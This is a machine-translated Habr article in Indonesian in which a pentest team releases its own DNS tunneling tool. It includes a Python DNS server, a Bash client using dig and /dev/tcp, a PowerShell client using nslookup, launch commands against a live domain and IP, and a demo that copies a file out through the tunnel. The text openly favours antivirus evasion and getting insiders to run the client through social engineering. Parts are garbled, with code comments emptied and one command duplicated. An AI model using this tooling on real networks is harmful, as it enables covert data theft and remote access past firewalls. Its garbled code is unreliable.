Lalu lintas di ujung terowongan atau DNS di pentest


Hai Dalam proyek pengujian penetrasi, kami sering menemukan jaringan segmen keras yang hampir sepenuhnya terisolasi dari dunia luar. Terkadang, untuk mengatasi masalah ini, perlu untuk meneruskan lalu lintas melalui satu-satunya protokol yang tersedia - DNS. Dalam artikel ini, kami akan memberi tahu Anda cara mengatasi masalah serupa di 2018 dan kesulitan apa yang dihadapi dalam proses tersebut. Utilitas populer juga akan ditinjau dan perilisan utilitas open-source mereka sendiri dengan fitur-fitur yang biasanya sangat kurang dalam alat serupa yang ada akan disajikan.


Apa itu terowongan DNS


Sudah ada beberapa artikel tentang HabrΓ© yang menjelaskan apa itu tunneling DNS. Namun, sedikit teori tentang tunneling DNS dapat ditemukan di bawah spoiler.


Apa itu tunneling DNS?

Kebetulan akses ke jaringan terputus oleh firewall, dan Anda perlu mentransfer data dengan sangat buruk, dan kemudian teknik tunneling DNS datang untuk menyelamatkan.


Dalam diagram, semuanya terlihat seperti ini:


Permintaan untuk DNS, bahkan dengan pengaturan firewall yang paling ketat, terkadang masih berlalu, dan Anda dapat menggunakan ini dengan menjawabnya dari server Anda yang terletak di sisi lain. Komunikasi akan sangat lambat, tetapi ini cukup untuk menembus jaringan lokal organisasi atau, misalnya, untuk segera mengakses Internet melalui Wi-Fi berbayar di luar negeri.


Apa yang populer saat ini


Sekarang di Internet Anda dapat menemukan banyak utilitas untuk mengoperasikan teknik ini - masing-masing dengan fitur dan bug sendiri. Kami memilih lima yang paling populer untuk pengujian komparatif:


  • dnscat2
  • yodium
  • dns2tcp
  • Heyoka
  • OzymanDNS

Anda dapat membaca lebih lanjut tentang bagaimana kami mengujinya di artikel kami di Hacker . Di sini kami hanya memberikan hasilnya.



Seperti yang Anda lihat dari hasil, Anda bisa bekerja, tetapi dari sudut pandang pengujian penetrasi, ada beberapa kelemahan:


  • klien yang dikompilasi - pada mesin dengan antivirus, lebih mudah menjalankan sesuatu yang ditafsirkan daripada file biner;
  • pekerjaan tidak stabil di bawah Windows;
  • kebutuhan untuk menginstal perangkat lunak tambahan dalam beberapa kasus.

Karena kekurangan ini, kami perlu mengembangkan alat kami sendiri, dan inilah hasilnya ...


Buat utilitas tunneling DNS Anda sendiri


Latar belakang


Semuanya berawal pada pentest internal satu bank. Di lobi ada komputer umum yang digunakan untuk mencetak dokumen, sertifikat, dan surat-surat lainnya. Tujuan kami: untuk mendapatkan manfaat maksimal dari mesin yang menjalankan Windows 7, memiliki Kaspersky Anti-Virus di dalamnya dan memungkinkan akses ke hanya halaman tertentu (tetapi pada saat yang sama dimungkinkan untuk menyelesaikan nama DNS).


Setelah melakukan analisis awal dan mendapatkan data tambahan dari mobil, kami mengembangkan beberapa vektor serangan. Jalur dengan pengoperasian mesin menggunakan program biner segera dihapus ke samping, karena "Kaspersky" yang "hebat dan mengerikan" segera mendeteksi penghapusannya ketika mendeteksi file yang dapat dieksekusi. Namun, kami berhasil mendapatkan kesempatan untuk menjalankan skrip atas nama administrator lokal, setelah salah satu ide itu hanya kemungkinan membuat terowongan DNS.


Mencari metode yang mungkin, kami menemukan klien di PowerShell untuk dnscat2 (kami menulis tentang itu sebelumnya). Tetapi pada akhirnya, maksimum yang dapat kami hasilkan adalah membuat koneksi untuk waktu yang singkat, setelah itu klien macet.


Ini, untuk membuatnya lebih sederhana, sangat mengecewakan kami, karena dalam situasi ini kehadiran klien yang ditafsirkan hanya perlu. Sebenarnya, ini adalah salah satu alasan untuk mengembangkan alat kami sendiri untuk penerowongan DNS.


Persyaratan


Persyaratan utama kami untuk diri sendiri adalah:


  • kehadiran universal (sejauh mungkin) dan menafsirkan klien untuk sistem Unix dan Windows. Untuk klien, masing-masing bash dan Powershell dipilih. Di masa depan, klien Perl untuk unix direncanakan;
  • kemampuan untuk meneruskan lalu lintas dari aplikasi tertentu;
  • Dukungan untuk banyak klien untuk satu pengguna.

Arsitektur proyek


Berdasarkan persyaratan, kami memulai pengembangan. Dalam pandangan kami, utilitas terdiri dari 3 bagian: klien pada mesin internal, server DNS dan proxy kecil antara aplikasi pentester dan server DNS.



Untuk mulai dengan, kami memutuskan untuk meneruskan terowongan melalui catatan TXT.


Prinsip operasi cukup sederhana:


  • Pentester meluncurkan server DNS.
  • Sebuah pentester (atau pengguna, melalui rekayasa sosial) meluncurkan klien pada mesin internal. Di klien ada parameter seperti nama klien dan domain, dan ada juga kemungkinan secara langsung menentukan alamat IP dari server DNS.
  • Pentester (dari jaringan eksternal) memulai proxy, di mana ia menunjukkan alamat IP dari server DNS, serta port tempat mengetuk, target IP (misalnya, ssh di jaringan internal di mana klien duduk) dan, karenanya, port target. ID klien juga diperlukan, yang dapat diperoleh dengan menambahkan kunci --clients .
  • Pentester meluncurkan aplikasi yang menarik baginya, menunjuk port proxy ke localhost.

Protokol komunikasi


Pertimbangkan protokol yang cukup sederhana untuk komunikasi antara server dan klien.


Pendaftaran


Ketika klien mulai, ia mendaftar ke server, meminta catatan TXT melalui subdomain dengan format berikut:


0<7 random chars><client name>.<your domain>


0 - kunci pendaftaran
<7 random chars> - untuk menghindari caching data DNS
<client name> - nama yang diberikan kepada klien saat startup
<your domain> - mis.: xakep.ru
Dalam hal pendaftaran berhasil, klien menerima pesan sukses dalam respons TXT, serta id yang diberikan kepadanya, yang akan terus ia gunakan.


Siklus utama


Setelah registrasi, klien mulai menanyakan server tentang ketersediaan data baru dalam format


1<7 random chars><id>.<your domain>


Jika ada data baru, dalam respons TXT ia menerimanya dalam format


<id><target ip>:<target port>:<data in base64> , jika tidak, <id>ND datang.


Siklus pemuatan data


Klien dalam satu lingkaran memeriksa untuk melihat apakah data berasal dari <target> . Jika ada jawaban, kita membaca, dari apa yang datang, buffer ukuran N Kb, memecahnya menjadi blok dengan panjang 250-<len_of_your_domain>-< > dan mengirim data blok demi blok dalam format:
2<4randomchars><id><block_id>.<data>.<your_domain>


Jika transfer blok berhasil, kami mendapatkan OK dengan beberapa data tentang blok yang ditransfer, dalam hal penyelesaian transfer buffer, kami mendapatkan ENDBLOCK .


Server DNS


Server DNS untuk tunneling ditulis dalam Python3 menggunakan pustaka dnslib, yang membuatnya mudah untuk membuat resolver DNS Anda sendiri dengan mewarisi dari objek dnslib.ProxyResolver dan menimpa metode resol ().


Dnslib yang hebat memungkinkan Anda untuk membuat proxyDNS Anda sendiri dengan sangat cepat:


Sedikit kode server
 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

Dalam mengatasi (), kami menentukan respons terhadap permintaan DNS dari klien: pendaftaran, meminta catatan baru, data pos balik, dan menghapus pengguna.


Kami menyimpan informasi tentang pengguna dalam database SQLite, clipboard data terletak di RAM dan memiliki struktur berikut, di mana kuncinya adalah nomor klien:


 { { "target_ip": "192.168.1.2", # IP β€œβ€ -    "target_port": "", #  β€œβ€ "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

Untuk memasukkan data dari pentester ke buffer, kami menulis β€œpenerima” kecil, yang diluncurkan dalam aliran terpisah. Ini menangkap koneksi dari pentester dan melakukan routing: ke mana klien mengirim permintaan.


Sebelum memulai server, pengguna hanya perlu menetapkan satu parameter: DOMAIN_NAME - nama domain yang digunakan server.


Klien Bash


Bash dipilih untuk menulis klien untuk sistem Unix, karena paling sering ditemukan di sistem Unix modern. Bash menyediakan kemampuan untuk terhubung melalui / dev / tcp /, bahkan dengan hak pengguna yang tidak terjangkau.


Kami tidak akan menganalisis setiap bagian kode secara terperinci, lihat hanya pada poin yang paling menarik.
Prinsip klien itu sederhana. Untuk berkomunikasi dengan DNS, utilitas dig standar digunakan. Klien mendaftar dengan server, setelah itu, dalam siklus abadi, ia mulai memenuhi permintaan menggunakan protokol yang dijelaskan sebelumnya. Di bawah spoiler lebih banyak.


Baca lebih lanjut tentang klien Bash

Pemeriksaan sedang dilakukan untuk menentukan apakah koneksi telah dibuat, dan jika demikian, fungsi balasan dilakukan (membaca data yang diterima dari target, membelah dan mengirim ke server).


Setelah itu, diperiksa apakah ada data baru dari server. Jika mereka ditemukan, maka kami memeriksa apakah koneksi harus dijatuhkan. Kesenjangan itu sendiri terjadi ketika kami menerima informasi tentang target dengan ip 0.0.0.0 dan port 00. Dalam hal ini, kami menghapus file descriptor (jika tidak terbuka, tidak akan ada masalah) dan mengubah target ip ke 0.0.0.0 yang masuk.


Lebih jauh di sepanjang kode kita melihat apakah ada kebutuhan untuk membuat koneksi baru. Segera setelah pesan berikut mulai mengirimkan data kepada kami target, kami, jika ip sebelumnya tidak cocok dengan yang sekarang (akan jadi setelah reset), ubah target ke yang baru, dan buat koneksi melalui perintah exec 3<>/dev/tcp/$ip/$port , di mana $ip adalah target, $port adalah port target.
Akibatnya, jika koneksi sudah dibuat, maka bagian data yang masuk diterjemahkan dan terbang ke deskriptor melalui perintah echo -e -n ${data_array[2]} | base64 -d >&3 echo -e -n ${data_array[2]} | base64 -d >&3 , di mana ${data_array[2]} adalah apa yang kita dapatkan dari server.


 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

Sekarang pertimbangkan mengirim fungsi balasan. Pertama, kita membaca 2048 byte dari deskriptor dan segera menyandikannya melalui $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0 ). Kemudian, jika jawabannya kosong, kita keluar dari fungsi, jika tidak kita mulai operasi pemisahan dan pengiriman. Perhatikan bahwa setelah pembentukan permintaan pengiriman melalui penggalian, pengiriman diperiksa untuk keberhasilan. Jika berhasil, keluar dari siklus, jika tidak coba sampai berhasil.


 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

Klien Powershell:


Karena kami membutuhkan interpretabilitas penuh dan bekerja pada kebanyakan sistem saat ini, klien dasar untuk Windows adalah utilitas nslookup standar untuk berkomunikasi melalui DNS dan objek System.Net.Sockets.TcpClient untuk membuat koneksi pada jaringan internal.


Semuanya juga sangat sederhana. Setiap iterasi dari loop adalah panggilan ke perintah nslookup menggunakan protokol yang dijelaskan sebelumnya.


Misalnya, untuk mendaftar, jalankan perintah:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Jika kesalahan terjadi, maka kami tidak menunjukkannya, mengirimkan nilai deskriptor kesalahan ke $ null.


nslookup mengembalikan jawaban yang mirip kepada kami:


Setelah itu kita perlu merentangkan semua garis dalam tanda kutip, untuk mana kita melewati mereka dengan musim reguler:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


Sekarang Anda dapat memproses perintah yang diterima.
Setiap kali alamat IP "korban" berubah, klien TCP dibuat, koneksi dibuat dan transfer data dimulai. Dari server DNS, informasinya didekodekan base64, dan byte dikirim ke korban. Jika "korban" menjawab sesuatu, maka kami menyandikan, membagi menjadi beberapa bagian dan menjalankan permintaan nslookup sesuai dengan protokol. Itu saja.
Ketika Anda menekan Ctrl + C, permintaan untuk menghapus klien dieksekusi.


Proksi:


Proxy untuk pentester adalah server proxy kecil di python3.



Dalam parameter yang Anda butuhkan untuk menentukan IP dari server DNS, port tempat untuk terhubung ke server, opsi - klien mengembalikan daftar klien terdaftar, --target - target ip , --target_port - target port , --client - id dari klien dengan siapa kami akan berfungsi (terlihat setelah eksekusi - --clients ), - --send_timeout - timeout untuk mengirim pesan dari aplikasi.


Ketika diluncurkan dengan parameter --clients , proksi mengirimkan permintaan ke server dalam format \x00GETCLIENTS\n .
Dalam kasus ketika kami mulai bekerja, saat menghubungkan, kami mengirim pesan dalam format \x02RESET:client_id\n untuk mengatur ulang koneksi sebelumnya. Setelah kami mengirim informasi tentang target kami: \x01client_id:ip:port:\n
Lebih lanjut, ketika mengirim pesan ke klien, kami mengirim byte dalam format \x03data , dan kami hanya mengirim byte mentah ke aplikasi.
Juga, proksi mendukung mode SOCKS5.


Kesulitan apa yang mungkin timbul?


Seperti halnya mekanisme apa pun, utilitas mungkin gagal. Jangan lupa bahwa terowongan DNS adalah hal yang tipis, dan banyak faktor yang dapat memengaruhi operasinya, mulai dari arsitektur jaringan hingga kualitas koneksi ke server produksi Anda.


Selama pengujian, kami sesekali melihat gangguan kecil. Misalnya, pada kecepatan cetak tinggi, bekerja melalui ssh, ada baiknya mengatur parameter --send_timeout , karena jika tidak, klien mulai membeku. Juga, kadang-kadang koneksi mungkin tidak dibuat pertama kali, tetapi dapat dengan mudah dirawat dengan me-restart proxy, karena koneksi akan diatur ulang selama koneksi baru. Ada juga masalah dengan resolusi domain saat bekerja dengan proxychains, tetapi ini juga dapat diperbaiki jika Anda menentukan parameter tambahan untuk proxychains. Perlu dicatat bahwa saat ini utilitas tidak mengontrol tampilan permintaan yang tidak perlu dari caching server DNS, sehingga koneksi kadang-kadang gagal, namun, ini sekali lagi diperlakukan menggunakan metode yang dijelaskan di atas.


Luncurkan


Konfigurasikan catatan NS di domain:



Kami menunggu hingga cache diperbarui (biasanya hingga 5 jam).


Kami memulai server:
python3 ./server.py --domain oversec.ru


Luncurkan klien (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


Kami memulai klien (Menang):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


Mari kita lihat daftar klien yang terhubung:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


Luncurkan proksi:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


Pengujian:


Setelah server dan setidaknya satu klien telah dimulai, kita dapat mengakses proxy seolah-olah itu adalah mesin jarak jauh kita.
Mari kita coba untuk mensimulasikan situasi berikut: pentester ingin mengunduh file dari server dari jaringan lokal organisasi yang dilindungi oleh firewall, sambil menggunakan metode rekayasa sosial, ia dapat memaksa klien DNS untuk berjalan di dalam jaringan dan mencari tahu kata sandi server SSH.


Pentester pada mesinnya memulai proxy, menunjukkan klien yang diperlukan dan kemudian dapat melakukan panggilan serupa yang akan dikirim ke klien, dan dari klien ke jaringan lokal.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


Mari kita lihat apa yang terjadi:



Di kiri atas, Anda dapat melihat kueri DNS yang datang ke server, lalu lintas proxy di kanan atas, lalu lintas klien di kiri bawah, dan aplikasi kami di kanan bawah. Kecepatan ternyata cukup baik untuk terowongan DNS: 4.9Kb / s menggunakan kompresi.


Ketika diluncurkan tanpa kompresi, utilitas menunjukkan kecepatan 1,8 kb / s:



Mari kita teliti lalu lintas server DNS, untuk ini kita menggunakan utilitas tcpdump.
tcpdump -i eth0 udp port 53



Kami melihat bahwa semuanya sesuai dengan protokol yang dijelaskan: klien terus-menerus memeriksa server apakah memiliki data baru untuk klien ini menggunakan kueri seperti 1c6Zx9Vi39.oversec.ru . Jika ada data, maka server merespons dengan satu set catatan TXT, jika tidak% client_num% ND ( 39ND ). client mengirimkan informasi ke server menggunakan jenis query 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


Dalam video-video berikut, Anda dapat dengan jelas melihat bagaimana utilitas bekerja bersama dengan meterpreter dan dalam mode SOCKS5.




Hasilnya:


Mari kita rangkum sedikit. Fitur apa yang dimiliki pengembangan ini dan mengapa kami menyarankan untuk menggunakannya?


  1. Klien yang ditafsirkan di Bash dan Powershell: tidak ada EXE-shnikov dan ELF-s yang bisa sulit dijalankan.
  2. Stabilitas koneksi: dalam pengujian, utilitas kami berperilaku jauh lebih stabil, dan jika ada bug, Anda bisa menghubungkan kembali, sementara klien tidak mogok, seperti halnya dengan dnscat2, misalnya.
  3. Kecepatan cukup tinggi untuk terowongan DNS: tentu saja, kecepatannya tidak mencapai yodium, tetapi ada solusi kompilasi tingkat jauh lebih rendah.
  4. Tidak ada hak administrator yang diperlukan: klien Bash bekerja tanpa hak administrator, dan skrip Powershell kadang-kadang dilarang oleh kebijakan keamanan, tetapi ini cukup sederhana.
  5. Ada mode proxy socks5, yang memungkinkan Anda melakukannya curl -v --socks5 127.0.0.1:9011 https://ident.me atau menjalankan nmap di seluruh jaringan internal.

Kode utilitas tersedia di sini.

Source: https://habr.com/ru/post/id432078/


All Articles